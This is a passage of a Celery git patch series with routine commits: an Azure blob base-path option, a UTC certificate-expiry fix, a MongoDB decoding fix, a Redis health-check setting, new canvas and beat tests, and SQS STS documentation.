+105,7 @@ def set(self, key, value): blob_client = self._blob_service_client.get_blob_client( container=self._container_name, - blob=key, + blob=f'{self.base_path}{key}', ) blob_client.upload_blob(value, overwrite=True) @@ -129,7 +131,7 @@ def delete(self, key): blob_client = self._blob_service_client.get_blob_client( container=self._container_name, - blob=key, + blob=f'{self.base_path}{key}', ) blob_client.delete_blob() diff --git a/docs/userguide/configuration.rst b/docs/userguide/configuration.rst index cf85255ec54..8ff0c8f809e 100644 --- a/docs/userguide/configuration.rst +++ b/docs/userguide/configuration.rst @@ -1529,6 +1529,19 @@ Default: celery. The name for the storage container in which to store the results. +.. setting:: azureblockblob_base_path + +``azureblockblob_base_path`` +~~~~~~~~~~~~~~~~~~~ + +.. versionadded:: 5.1 + +Default: None. + +A base path in the storage container to use to store result keys. For example:: + + azureblockblob_base_path = 'prefix/' + .. setting:: azureblockblob_retry_initial_backoff_sec ``azureblockblob_retry_initial_backoff_sec`` diff --git a/t/unit/backends/test_azureblockblob.py b/t/unit/backends/test_azureblockblob.py index 596764bc174..46c3c77222e 100644 --- a/t/unit/backends/test_azureblockblob.py +++ b/t/unit/backends/test_azureblockblob.py @@ -25,6 +25,10 @@ def setup(self): app=self.app, url=self.url) + @pytest.fixture(params=['', 'my_folder/']) + def base_path(self, request): + return request.param + def test_missing_third_party_sdk(self): azurestorage = azureblockblob.azurestorage try: @@ -57,11 +61,12 @@ def test_create_client(self, mock_blob_service_factory): assert mock_blob_service_client_instance.create_container.call_count == 1 @patch(MODULE_TO_MOCK + ".AzureBlockBlobBackend._blob_service_client") - def test_get(self, mock_client): + def test_get(self, mock_client, base_path): + self.backend.base_path = base_path self.backend.get(b"mykey") mock_client.get_blob_client \ - .assert_called_once_with(blob="mykey", container="celery") + .assert_called_once_with(blob=base_path + "mykey", container="celery") mock_client.get_blob_client.return_value \ .download_blob.return_value \ @@ -77,31 +82,49 @@ def test_get_missing(self, mock_client): assert self.backend.get(b"mykey") is None @patch(MODULE_TO_MOCK + ".AzureBlockBlobBackend._blob_service_client") - def test_set(self, mock_client): + def test_set(self, mock_client, base_path): + self.backend.base_path = base_path self.backend._set_with_state(b"mykey", "myvalue", states.SUCCESS) mock_client.get_blob_client.assert_called_once_with( - container="celery", blob="mykey") + container="celery", blob=base_path + "mykey") mock_client.get_blob_client.return_value \ .upload_blob.assert_called_once_with("myvalue", overwrite=True) @patch(MODULE_TO_MOCK + ".AzureBlockBlobBackend._blob_service_client") - def test_mget(self, mock_client): + def test_mget(self, mock_client, base_path): keys = [b"mykey1", b"mykey2"] + self.backend.base_path = base_path self.backend.mget(keys) mock_client.get_blob_client.assert_has_calls( - [call(blob=key.decode(), container='celery') for key in keys], + [call(blob=base_path + key.decode(), container='celery') for key in keys], any_order=True,) @patch(MODULE_TO_MOCK + ".AzureBlockBlobBackend._blob_service_client") - def test_delete(self, mock_client): + def test_delete(self, mock_client, base_path): + self.backend.base_path = base_path self.backend.delete(b"mykey") mock_client.get_blob_client.assert_called_once_with( - container="celery", blob="mykey") + container="celery", blob=base_path + "mykey") mock_client.get_blob_client.return_value \ .delete_blob.assert_called_once() + + def test_base_path_conf(self, base_path): + self.app.conf.azureblockblob_base_path = base_path + backend = AzureBlockBlobBackend( + app=self.app, + url=self.url + ) + assert backend.base_path == base_path + + def test_base_path_conf_default(self): + backend = AzureBlockBlobBackend( + app=self.app, + url=self.url + ) + assert backend.base_path == '' From a0998a330cc01b5e498cdad20370a734b64dcc75 Mon Sep 17 00:00:00 2001 From: careljonkhout Date: Sat, 13 Mar 2021 13:35:29 +0100 Subject: [PATCH 177/415] document options time_limit options of apply_async I have noticed that time_limit and soft_time_limit do actually work with apply_async. Since I would like to use these options in my project, it would give me some peace of mind if these options were explicitly documented. --- celery/app/task.py | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/celery/app/task.py b/celery/app/task.py index 801eba11a8f..0fef1324e06 100644 --- a/celery/app/task.py +++ b/celery/app/task.py @@ -454,6 +454,11 @@ def apply_async(self, args=None, kwargs=None, task_id=None, producer=None, retry_policy (Mapping): Override the retry policy used. See the :setting:`task_publish_retry_policy` setting. + + time_limit (int): If set, overrides the default time limit. + + soft_time_limit (int): If set, overrides the default soft + time limit. queue (str, kombu.Queue): The queue to route the task to. This must be a key present in :setting:`task_queues`, or From 4d77ddddb10797011dc10dd2e4e1e7a7467b8431 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Thu, 11 Mar 2021 13:31:52 +0200 Subject: [PATCH 178/415] Drop the lzma extra. The lzma backport is no longer needed since we don't support Python<3.3 anymore. --- requirements/extras/lzma.txt | 1 - setup.py | 1 - 2 files changed, 2 deletions(-) delete mode 100644 requirements/extras/lzma.txt diff --git a/requirements/extras/lzma.txt b/requirements/extras/lzma.txt deleted file mode 100644 index 9c70afdf861..00000000000 --- a/requirements/extras/lzma.txt +++ /dev/null @@ -1 +0,0 @@ -backports.lzma;python_version<"3.3" diff --git a/setup.py b/setup.py index d4e27c1226e..9022141035e 100644 --- a/setup.py +++ b/setup.py @@ -27,7 +27,6 @@ 'eventlet', 'gevent', 'librabbitmq', - 'lzma', 'memcache', 'mongodb', 'msgpack', From 1f3c98149bc791874063c870048067d3a0f2c674 Mon Sep 17 00:00:00 2001 From: Illia Volochii Date: Mon, 15 Mar 2021 18:49:23 +0200 Subject: [PATCH 179/415] Fix checking expiration of X.509 certificates (#6678) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `not_valid_after` is a naïve datetime representing a moment in UTC. It should not be compared to a naïve datetime representing the current local date and time. Also, the value is inclusive. https://cryptography.io/en/3.4.6/x509/reference.html#cryptography.x509.Certificate.not_valid_after --- celery/security/certificate.py | 2 +- t/unit/security/test_certificate.py | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/celery/security/certificate.py b/celery/security/certificate.py index fc4961cec74..0f3fd8680f7 100644 --- a/celery/security/certificate.py +++ b/celery/security/certificate.py @@ -27,7 +27,7 @@ def __init__(self, cert): def has_expired(self): """Check if the certificate has expired.""" - return datetime.datetime.now() > self._cert.not_valid_after + return datetime.datetime.utcnow() >= self._cert.not_valid_after def get_pubkey(self): """Get public key from certificate.""" diff --git a/t/unit/security/test_certificate.py b/t/unit/security/test_certificate.py index a52980422e8..910cb624618 100644 --- a/t/unit/security/test_certificate.py +++ b/t/unit/security/test_certificate.py @@ -38,7 +38,7 @@ def test_has_expired_mock(self): x = Certificate(CERT1) x._cert = Mock(name='cert') - time_after = datetime.datetime.now() + datetime.timedelta(days=-1) + time_after = datetime.datetime.utcnow() + datetime.timedelta(days=-1) x._cert.not_valid_after = time_after assert x.has_expired() is True @@ -47,7 +47,7 @@ def test_has_not_expired_mock(self): x = Certificate(CERT1) x._cert = Mock(name='cert') - time_after = datetime.datetime.now() + datetime.timedelta(days=1) + time_after = datetime.datetime.utcnow() + datetime.timedelta(days=1) x._cert.not_valid_after = time_after assert x.has_expired() is False From 8cfe4a59843ba63876e6c6147dd8b9561254c920 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Pengjie=20Song=20=28=E5=AE=8B=E9=B9=8F=E6=8D=B7=29?= Date: Tue, 16 Mar 2021 13:35:31 +0800 Subject: [PATCH 180/415] Fix JSON decoding errors when using MongoDB as backend (#6675) * Fix JSON decoding errors when using MongoDB as backend 'traceback' is a string. 'children' is a list. Both of them cannot be decoded by JSON. * Add unit tests for PR #6675 --- celery/backends/mongodb.py | 4 ++-- t/unit/backends/test_mongodb.py | 15 ++++++++++++++- 2 files changed, 16 insertions(+), 3 deletions(-) diff --git a/celery/backends/mongodb.py b/celery/backends/mongodb.py index 76eab766b75..60448663aa9 100644 --- a/celery/backends/mongodb.py +++ b/celery/backends/mongodb.py @@ -202,8 +202,8 @@ def _get_task_meta_for(self, task_id): 'status': obj['status'], 'result': self.decode(obj['result']), 'date_done': obj['date_done'], - 'traceback': self.decode(obj['traceback']), - 'children': self.decode(obj['children']), + 'traceback': obj['traceback'], + 'children': obj['children'], }) return {'status': states.PENDING, 'result': None} diff --git a/t/unit/backends/test_mongodb.py b/t/unit/backends/test_mongodb.py index d0e651ed37c..8dd91eeba22 100644 --- a/t/unit/backends/test_mongodb.py +++ b/t/unit/backends/test_mongodb.py @@ -661,13 +661,26 @@ def test_encode_success_results(self, mongo_backend_factory, serializer, assert type(recovered) == result_type assert recovered == result + @pytest.mark.parametrize("serializer", + ["bson", "pickle", "yaml", "json", "msgpack"]) + def test_encode_chain_results(self, mongo_backend_factory, serializer): + backend = mongo_backend_factory(serializer=serializer) + mock_request = MagicMock(spec=['children']) + children = [self.app.AsyncResult(uuid()) for i in range(10)] + mock_request.children = children + backend.store_result(TASK_ID, 0, 'SUCCESS', request=mock_request) + recovered = backend.get_children(TASK_ID) + def tuple_to_list(t): return [list(t[0]), t[1]] + assert recovered == [tuple_to_list(c.as_tuple()) for c in children] + @pytest.mark.parametrize("serializer", ["bson", "pickle", "yaml", "json", "msgpack"]) def test_encode_exception_error_results(self, mongo_backend_factory, serializer): backend = mongo_backend_factory(serializer=serializer) exception = Exception("Basic Exception") - backend.store_result(TASK_ID, exception, 'FAILURE') + traceback = 'Traceback:\n Exception: Basic Exception\n' + backend.store_result(TASK_ID, exception, 'FAILURE', traceback) recovered = backend.get_result(TASK_ID) assert type(recovered) == type(exception) assert recovered.args == exception.args From 45044954379e39d2600d48da41b67f8f1c0b3dc4 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Tue, 16 Mar 2021 13:32:55 +0200 Subject: [PATCH 181/415] Skip tests if client library is not available. --- t/unit/backends/test_azureblockblob.py | 1 + 1 file changed, 1 insertion(+) diff --git a/t/unit/backends/test_azureblockblob.py b/t/unit/backends/test_azureblockblob.py index 46c3c77222e..7c80400cc1e 100644 --- a/t/unit/backends/test_azureblockblob.py +++ b/t/unit/backends/test_azureblockblob.py @@ -10,6 +10,7 @@ MODULE_TO_MOCK = "celery.backends.azureblockblob" pytest.importorskip('azure.storage.blob') +pytest.importorskip('azure.core.exceptions') class test_AzureBlockBlobBackend: From 36e4452773dfc2ef79b8ff535908dee620aacef0 Mon Sep 17 00:00:00 2001 From: Chris Morris Date: Tue, 16 Mar 2021 10:41:23 -0400 Subject: [PATCH 182/415] Allow configuration of RedisBackend's health_check_interval (#6666) * Allow configuration of RedisBackend health_check_interval * Only add key if value is set * Added documentation for the redis_backend_health_check_interval setting. --- celery/backends/redis.py | 4 +++ docs/userguide/configuration.rst | 16 +++++++++++ t/unit/backends/test_redis.py | 48 ++++++++++++++++++++++++++++++++ 3 files changed, 68 insertions(+) diff --git a/celery/backends/redis.py b/celery/backends/redis.py index aa3c13d114d..d3805cfb429 100644 --- a/celery/backends/redis.py +++ b/celery/backends/redis.py @@ -219,6 +219,7 @@ def __init__(self, host=None, port=None, db=None, password=None, socket_connect_timeout = _get('redis_socket_connect_timeout') retry_on_timeout = _get('redis_retry_on_timeout') socket_keepalive = _get('redis_socket_keepalive') + health_check_interval = _get('redis_backend_health_check_interval') self.connparams = { 'host': _get('redis_host') or 'localhost', @@ -232,6 +233,9 @@ def __init__(self, host=None, port=None, db=None, password=None, socket_connect_timeout and float(socket_connect_timeout), } + if health_check_interval: + self.connparams["health_check_interval"] = health_check_interval + # absent in redis.connection.UnixDomainSocketConnection if socket_keepalive: self.connparams['socket_keepalive'] = socket_keepalive diff --git a/docs/userguide/configuration.rst b/docs/userguide/configuration.rst index 8ff0c8f809e..e653b0d82d0 100644 --- a/docs/userguide/configuration.rst +++ b/docs/userguide/configuration.rst @@ -1185,6 +1185,22 @@ Note that the ``ssl_cert_reqs`` string should be one of ``required``, ``optional``, or ``none`` (though, for backwards compatibility, the string may also be one of ``CERT_REQUIRED``, ``CERT_OPTIONAL``, ``CERT_NONE``). + +.. setting:: redis_backend_health_check_interval + +.. versionadded:: 5.1.0 + +``redis_backend_health_check_interval`` +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Default: Not configured + +The Redis backend supports health checks. This value must be +set as an integer whose value is the number of seconds between +health checks. If a ConnectionError or a TimeoutError is +encountered during the health check, the connection will be +re-established and the command retried exactly once. + .. setting:: redis_backend_use_ssl ``redis_backend_use_ssl`` diff --git a/t/unit/backends/test_redis.py b/t/unit/backends/test_redis.py index b4067345682..a33fce329ca 100644 --- a/t/unit/backends/test_redis.py +++ b/t/unit/backends/test_redis.py @@ -418,6 +418,54 @@ def test_backend_ssl(self): from redis.connection import SSLConnection assert x.connparams['connection_class'] is SSLConnection + def test_backend_health_check_interval_ssl(self): + pytest.importorskip('redis') + + self.app.conf.redis_backend_use_ssl = { + 'ssl_cert_reqs': ssl.CERT_REQUIRED, + 'ssl_ca_certs': '/path/to/ca.crt', + 'ssl_certfile': '/path/to/client.crt', + 'ssl_keyfile': '/path/to/client.key', + } + self.app.conf.redis_backend_health_check_interval = 10 + x = self.Backend( + 'rediss://:bosco@vandelay.com:123//1', app=self.app, + ) + assert x.connparams + assert x.connparams['host'] == 'vandelay.com' + assert x.connparams['db'] == 1 + assert x.connparams['port'] == 123 + assert x.connparams['password'] == 'bosco' + assert x.connparams['health_check_interval'] == 10 + + from redis.connection import SSLConnection + assert x.connparams['connection_class'] is SSLConnection + + def test_backend_health_check_interval(self): + pytest.importorskip('redis') + + self.app.conf.redis_backend_health_check_interval = 10 + x = self.Backend( + 'redis://vandelay.com:123//1', app=self.app, + ) + assert x.connparams + assert x.connparams['host'] == 'vandelay.com' + assert x.connparams['db'] == 1 + assert x.connparams['port'] == 123 + assert x.connparams['health_check_interval'] == 10 + + def test_backend_health_check_interval_not_set(self): + pytest.importorskip('redis') + + x = self.Backend( + 'redis://vandelay.com:123//1', app=self.app, + ) + assert x.connparams + assert x.connparams['host'] == 'vandelay.com' + assert x.connparams['db'] == 1 + assert x.connparams['port'] == 123 + assert "health_check_interval" not in x.connparams + @pytest.mark.parametrize('cert_str', [ "required", "CERT_REQUIRED", From f2556c45b22cae9d3c961639627a1f9053681393 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Wed, 17 Mar 2021 13:45:50 +0200 Subject: [PATCH 183/415] Add missing manager fixture. --- t/integration/test_canvas.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/t/integration/test_canvas.py b/t/integration/test_canvas.py index da57ac0c084..6b71e2284ab 100644 --- a/t/integration/test_canvas.py +++ b/t/integration/test_canvas.py @@ -1177,7 +1177,7 @@ def test_chord_in_chain_with_args(self, manager): assert res1.get(timeout=TIMEOUT) == [1, 1] @pytest.mark.xfail(reason="Issue #6200") - def test_chain_in_chain_with_args(self): + def test_chain_in_chain_with_args(self, manager): try: manager.app.backend.ensure_chords_allowed() except NotImplementedError as e: From fc55f2afa4121567acc9217a0da065c293c1fb9e Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Wed, 17 Mar 2021 13:47:16 +0200 Subject: [PATCH 184/415] Fix typo. --- t/integration/test_canvas.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/t/integration/test_canvas.py b/t/integration/test_canvas.py index 6b71e2284ab..2c19812f885 100644 --- a/t/integration/test_canvas.py +++ b/t/integration/test_canvas.py @@ -1252,7 +1252,7 @@ def test_nested_chord_group_chain_group_tail(self, manager): Sanity check that a deeply nested group is completed as expected. Groups at the end of chains nested in chords have had issues and this - simple test sanity check that such a tsk structure can be completed. + simple test sanity check that such a task structure can be completed. """ try: manager.app.backend.ensure_chords_allowed() From aaef28ce1ac4d9c8b5b1f3f968c1095594213767 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Mon, 22 Mar 2021 07:00:55 +0200 Subject: [PATCH 185/415] Added testcase for issue #6437 (#6684) * Added testcase for issue #6437. * Add second test case. --- t/integration/test_canvas.py | 28 +++++++++++++++++++++++++++- 1 file changed, 27 insertions(+), 1 deletion(-) diff --git a/t/integration/test_canvas.py b/t/integration/test_canvas.py index 2c19812f885..afa81a053f2 100644 --- a/t/integration/test_canvas.py +++ b/t/integration/test_canvas.py @@ -11,7 +11,8 @@ from celery.result import AsyncResult, GroupResult, ResultSet from . import tasks -from .conftest import get_active_redis_channels, get_redis_connection +from .conftest import get_active_redis_channels, get_redis_connection, \ + TEST_BACKEND from .tasks import (ExpectedException, add, add_chord_to_chord, add_replaced, add_to_all, add_to_all_to_chord, build_chain_inside_task, chord_error, collect_ids, delayed_sum, @@ -1274,6 +1275,31 @@ def test_nested_chord_group_chain_group_tail(self, manager): res = sig.delay() assert res.get(timeout=TIMEOUT) == [[42, 42]] + @pytest.mark.xfail(TEST_BACKEND.startswith('redis://'), reason="Issue #6437") + def test_error_propagates_from_chord(self, manager): + try: + manager.app.backend.ensure_chords_allowed() + except NotImplementedError as e: + raise pytest.skip(e.args[0]) + + sig = add.s(1, 1) | fail.s() | group(add.s(1), add.s(1)) + res = sig.delay() + + with pytest.raises(ExpectedException): + res.get(timeout=TIMEOUT) + + def test_error_propagates_from_chord2(self, manager): + try: + manager.app.backend.ensure_chords_allowed() + except NotImplementedError as e: + raise pytest.skip(e.args[0]) + + sig = add.s(1, 1) | add.s(1) | group(add.s(1), fail.s()) + res = sig.delay() + + with pytest.raises(ExpectedException): + res.get(timeout=TIMEOUT) + class test_signature_serialization: """ From 1c955bf76a9a33052d87f2bccf0889fb21f27d41 Mon Sep 17 00:00:00 2001 From: Asif Saif Uddin Date: Mon, 22 Mar 2021 14:18:00 +0600 Subject: [PATCH 186/415] Safeguard against schedule entry without kwargs (#6619) * Possible fix for #5889 verification & test needed * Update celery/beat.py Co-authored-by: Omer Katz * Extract logic to methods. * Add test. Co-authored-by: Omer Katz --- celery/beat.py | 22 ++++++++++++++++++++-- t/unit/app/test_beat.py | 16 ++++++++++++++++ 2 files changed, 36 insertions(+), 2 deletions(-) diff --git a/celery/beat.py b/celery/beat.py index 3e1d31a59ac..2b251e838a2 100644 --- a/celery/beat.py +++ b/celery/beat.py @@ -203,6 +203,24 @@ def __ne__(self, other): return not self == other +def _evaluate_entry_args(entry_args): + if not entry_args: + return [] + return [ + v() if isinstance(v, BeatLazyFunc) else v + for v in entry_args.args + ] + + +def _evaluate_entry_kwargs(entry_kwargs): + if not entry_kwargs: + return {} + return { + k: v() if isinstance(v, BeatLazyFunc) else v + for k, v in entry_kwargs.items() + } + + class Scheduler: """Scheduler for periodic tasks. @@ -380,8 +398,8 @@ def apply_async(self, entry, producer=None, advance=True, **kwargs): task = self.app.tasks.get(entry.task) try: - entry_args = [v() if isinstance(v, BeatLazyFunc) else v for v in (entry.args or [])] - entry_kwargs = {k: v() if isinstance(v, BeatLazyFunc) else v for k, v in entry.kwargs.items()} + entry_args = _evaluate_entry_args(entry.args) + entry_kwargs = _evaluate_entry_kwargs(entry.kwargs) if task: return task.apply_async(entry_args, entry_kwargs, producer=producer, diff --git a/t/unit/app/test_beat.py b/t/unit/app/test_beat.py index 4b8339f451b..98f4f21bf3f 100644 --- a/t/unit/app/test_beat.py +++ b/t/unit/app/test_beat.py @@ -196,6 +196,22 @@ def foo(): scheduler.apply_async(scheduler.Entry(task=foo.name, app=self.app, args=None, kwargs=None)) foo.apply_async.assert_called() + def test_apply_async_with_null_args_set_to_none(self): + + @self.app.task(shared=False) + def foo(): + pass + foo.apply_async = Mock(name='foo.apply_async') + + scheduler = mScheduler(app=self.app) + entry = scheduler.Entry(task=foo.name, app=self.app, args=None, + kwargs=None) + entry.args = None + entry.kwargs = None + + scheduler.apply_async(entry, advance=False) + foo.apply_async.assert_called() + def test_should_sync(self): @self.app.task(shared=False) From 6ffd82778ecc55a0f6feaf3fea89481b9b9dafc9 Mon Sep 17 00:00:00 2001 From: gal cohen Date: Mon, 29 Mar 2021 11:36:40 +0300 Subject: [PATCH 187/415] Docs only - SQS broker - add STS support (#6693) * add STS to docs * Update docs/getting-started/backends-and-brokers/sqs.rst Co-authored-by: Omer Katz * Update docs/getting-started/backends-and-brokers/sqs.rst Co-authored-by: Omer Katz * add sts link Co-authored-by: galcohen Co-authored-by: Asif Saif Uddin Co-authored-by: Omer Katz --- .../backends-and-brokers/sqs.rst | 23 +++++++++++++++++++ 1 file changed, 23 insertions(+) diff --git a/docs/getting-started/backends-and-brokers/sqs.rst b/docs/getting-started/backends-and-brokers/sqs.rst index 47ec6d8f864..cd8fd2a3b33 100644 --- a/docs/getting-started/backends-and-brokers/sqs.rst +++ b/docs/getting-started/backends-and-brokers/sqs.rst @@ -192,6 +192,29 @@ The above policy: +-----------------------------------------+--------------------------------------------+ +STS token authentication +---------------------------- + +https://docs.aws.amazon.com/cli/latest/reference/sts/assume-role.html + +AWS STS authentication is supported by using the ``sts_role_arn`` and ``sts_token_timeout`` broker transport options. ``sts_role_arn`` is the assumed IAM role ARN we use to authorize our access to SQS. +``sts_token_timeout`` is the token timeout, defaults (and minimum) to 900 seconds. After the mentioned period, a new token will be created. + + broker_transport_options = { + 'predefined_queues': { + 'my-q': { + 'url': 'https://ap-southeast-2.queue.amazonaws.com/123456/my-q', + 'access_key_id': 'xxx', + 'secret_access_key': 'xxx', + 'backoff_policy': {1: 10, 2: 20, 3: 40, 4: 80, 5: 320, 6: 640}, + 'backoff_tasks': ['svc.tasks.tasks.task1'] + } + }, + 'sts_role_arn': 'arn:aws:iam:::role/STSTest', # optional + 'sts_token_timeout': 900 # optional + } + + .. _sqs-caveats: Caveats From 9a3e56b99d7d810e11a14e20ecfe6db9162026f8 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Mon, 29 Mar 2021 13:35:32 +0300 Subject: [PATCH 188/415] Added a test for #5469. --- t/unit/utils/test_functional.py | 23 +++++++++++++++++++++++ 1 file changed, 23 insertions(+) diff --git a/t/unit/utils/test_functional.py b/t/unit/utils/test_functional.py index 54a89fd2551..c84e152385d 100644 --- a/t/unit/utils/test_functional.py +++ b/t/unit/utils/test_functional.py @@ -225,6 +225,29 @@ def f(cls, x): fun = head_from_fun(A.f, bound=True) assert fun(1) == 1 + @pytest.mark.xfail(reason="Issue #5469") + def test_kwonly_required_args(self): + local = {} + fun = ('def f_kwargs_required(*, a="a", b, c=None):' + ' return') + exec(fun, {}, local) + f_kwargs_required = local['f_kwargs_required'] + g = head_from_fun(f_kwargs_required) + + with pytest.raises(TypeError): + g(1) + + with pytest.raises(TypeError): + g(a=1) + + with pytest.raises(TypeError): + g(b=1) + + with pytest.raises(TypeError): + g(a=2, b=1) + + g(b=3) + class test_fun_takes_argument: From a78f8cc56a0c1f1536028f17f5ea900240a00816 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Mon, 29 Mar 2021 13:48:22 +0300 Subject: [PATCH 189/415] Fix test case for #5469. --- t/unit/utils/test_functional.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/t/unit/utils/test_functional.py b/t/unit/utils/test_functional.py index c84e152385d..0fc1f10511a 100644 --- a/t/unit/utils/test_functional.py +++ b/t/unit/utils/test_functional.py @@ -241,10 +241,10 @@ def test_kwonly_required_args(self): g(a=1) with pytest.raises(TypeError): - g(b=1) + g(c=1) with pytest.raises(TypeError): - g(a=2, b=1) + g(a=2, c=1) g(b=3) From 4c58b56a94b579c0a879f9d628a950c469464c6e Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Mon, 29 Mar 2021 16:13:54 +0300 Subject: [PATCH 190/415] isort & autopep8. --- celery/app/task.py | 4 ++-- celery/backends/redis.py | 1 - t/integration/test_canvas.py | 4 ++-- t/unit/app/test_routes.py | 2 +- 4 files changed, 5 insertions(+), 6 deletions(-) diff --git a/celery/app/task.py b/celery/app/task.py index 0fef1324e06..53dd79b21fc 100644 --- a/celery/app/task.py +++ b/celery/app/task.py @@ -454,9 +454,9 @@ def apply_async(self, args=None, kwargs=None, task_id=None, producer=None, retry_policy (Mapping): Override the retry policy used. See the :setting:`task_publish_retry_policy` setting. - + time_limit (int): If set, overrides the default time limit. - + soft_time_limit (int): If set, overrides the default soft time limit. diff --git a/celery/backends/redis.py b/celery/backends/redis.py index d3805cfb429..74a2e18b582 100644 --- a/celery/backends/redis.py +++ b/celery/backends/redis.py @@ -572,7 +572,6 @@ class SentinelManagedSSLConnection( """ - class SentinelBackend(RedisBackend): """Redis sentinel task result store.""" diff --git a/t/integration/test_canvas.py b/t/integration/test_canvas.py index afa81a053f2..4c5f31a495f 100644 --- a/t/integration/test_canvas.py +++ b/t/integration/test_canvas.py @@ -11,8 +11,8 @@ from celery.result import AsyncResult, GroupResult, ResultSet from . import tasks -from .conftest import get_active_redis_channels, get_redis_connection, \ - TEST_BACKEND +from .conftest import (TEST_BACKEND, get_active_redis_channels, + get_redis_connection) from .tasks import (ExpectedException, add, add_chord_to_chord, add_replaced, add_to_all, add_to_all_to_chord, build_chain_inside_task, chord_error, collect_ids, delayed_sum, diff --git a/t/unit/app/test_routes.py b/t/unit/app/test_routes.py index 20d49be87df..fbb2803b4d1 100644 --- a/t/unit/app/test_routes.py +++ b/t/unit/app/test_routes.py @@ -59,7 +59,7 @@ def assert_routes_to_queue(self, queue, router, name, if args is None: args = [] assert router.route(options, name, args, kwargs)[ - 'queue'].name == queue + 'queue'].name == queue def assert_routes_to_default_queue(self, router, name, *args, **kwargs): self.assert_routes_to_queue( From b863168ac9bc0811cbf73409d4101be02fe34489 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Mon, 29 Mar 2021 16:55:04 +0300 Subject: [PATCH 191/415] Drop fun_accepts_kwargs backport. `inspect.signature` is available since Python 3.3. --- celery/utils/functional.py | 26 ++++++++------------------ 1 file changed, 8 insertions(+), 18 deletions(-) diff --git a/celery/utils/functional.py b/celery/utils/functional.py index 3ff29c97993..d9808d2237f 100644 --- a/celery/utils/functional.py +++ b/celery/utils/functional.py @@ -90,6 +90,7 @@ def firstmethod(method, on_call=None): The list can also contain lazy instances (:class:`~kombu.utils.functional.lazy`.) """ + def _matcher(it, *args, **kwargs): for obj in it: try: @@ -101,6 +102,7 @@ def _matcher(it, *args, **kwargs): else: if reply is not None: return reply + return _matcher @@ -327,24 +329,12 @@ def fun_takes_argument(name, fun, position=None): ) -if hasattr(inspect, 'signature'): - def fun_accepts_kwargs(fun): - """Return true if function accepts arbitrary keyword arguments.""" - return any( - p for p in inspect.signature(fun).parameters.values() - if p.kind == p.VAR_KEYWORD - ) -else: - def fun_accepts_kwargs(fun): # noqa - """Return true if function accepts arbitrary keyword arguments.""" - try: - argspec = inspect.getargspec(fun) - except TypeError: - try: - argspec = inspect.getargspec(fun.__call__) - except (TypeError, AttributeError): - return - return not argspec or argspec[2] is not None +def fun_accepts_kwargs(fun): + """Return true if function accepts arbitrary keyword arguments.""" + return any( + p for p in inspect.signature(fun).parameters.values() + if p.kind == p.VAR_KEYWORD + ) def maybe(typ, val): From 6157bc9053da6c1b149283d0ab58fe2958a8f2dd Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Tue, 30 Mar 2021 17:37:32 +0300 Subject: [PATCH 192/415] Tasks can now have required kwargs at any order. (#6699) Fixes #5469. Thanks to @dimavitvickiy for the initial research in #5485. --- celery/utils/functional.py | 6 +++--- t/unit/utils/test_functional.py | 1 - 2 files changed, 3 insertions(+), 4 deletions(-) diff --git a/celery/utils/functional.py b/celery/utils/functional.py index d9808d2237f..ddf4c10379d 100644 --- a/celery/utils/functional.py +++ b/celery/utils/functional.py @@ -261,11 +261,11 @@ def _argsfromspec(spec, replace_defaults=True): varargs = spec.varargs varkw = spec.varkw if spec.kwonlydefaults: - split = len(spec.kwonlydefaults) - kwonlyargs = spec.kwonlyargs[:-split] + kwonlyargs = set(spec.kwonlyargs) - set(spec.kwonlydefaults.keys()) if replace_defaults: kwonlyargs_optional = [ - (kw, i) for i, kw in enumerate(spec.kwonlyargs[-split:])] + (kw, i) for i, kw in enumerate(spec.kwonlydefaults.keys()) + ] else: kwonlyargs_optional = list(spec.kwonlydefaults.items()) else: diff --git a/t/unit/utils/test_functional.py b/t/unit/utils/test_functional.py index 0fc1f10511a..58ed115b694 100644 --- a/t/unit/utils/test_functional.py +++ b/t/unit/utils/test_functional.py @@ -225,7 +225,6 @@ def f(cls, x): fun = head_from_fun(A.f, bound=True) assert fun(1) == 1 - @pytest.mark.xfail(reason="Issue #5469") def test_kwonly_required_args(self): local = {} fun = ('def f_kwargs_required(*, a="a", b, c=None):' From e9cea3e2b5859b5c309426de5a536f3b6fab12d4 Mon Sep 17 00:00:00 2001 From: Asif Saif Uddin Date: Thu, 1 Apr 2021 15:31:51 +0600 Subject: [PATCH 193/415] chek if billiard v3.6.4.0 pass tests --- requirements/default.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/requirements/default.txt b/requirements/default.txt index 33c3b6be9f8..06f249b8c8e 100644 --- a/requirements/default.txt +++ b/requirements/default.txt @@ -1,5 +1,5 @@ pytz>dev -billiard>=3.6.3.0,<4.0 +billiard>=3.6.4.0,<4.0 kombu>=5.0.0,<6.0 vine>=5.0.0,<6.0 click>=7.0,<8.0 From a6bae50be937e3cf0366efac08869b39778646a5 Mon Sep 17 00:00:00 2001 From: Tomas Hrnciar Date: Thu, 1 Apr 2021 15:40:06 +0200 Subject: [PATCH 194/415] Explicitly require setuptools, bin/celery.py and utils/imports.py imports pkg_resources --- requirements/default.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/requirements/default.txt b/requirements/default.txt index 06f249b8c8e..3fd8529bb1b 100644 --- a/requirements/default.txt +++ b/requirements/default.txt @@ -6,3 +6,4 @@ click>=7.0,<8.0 click-didyoumean>=0.0.3 click-repl>=0.1.6 click-plugins>=1.1.1 +setuptools From 4ab3598a8836a3c2ec6c2ac4aac944df6939de0c Mon Sep 17 00:00:00 2001 From: Asif Saif Uddin Date: Thu, 1 Apr 2021 22:35:57 +0600 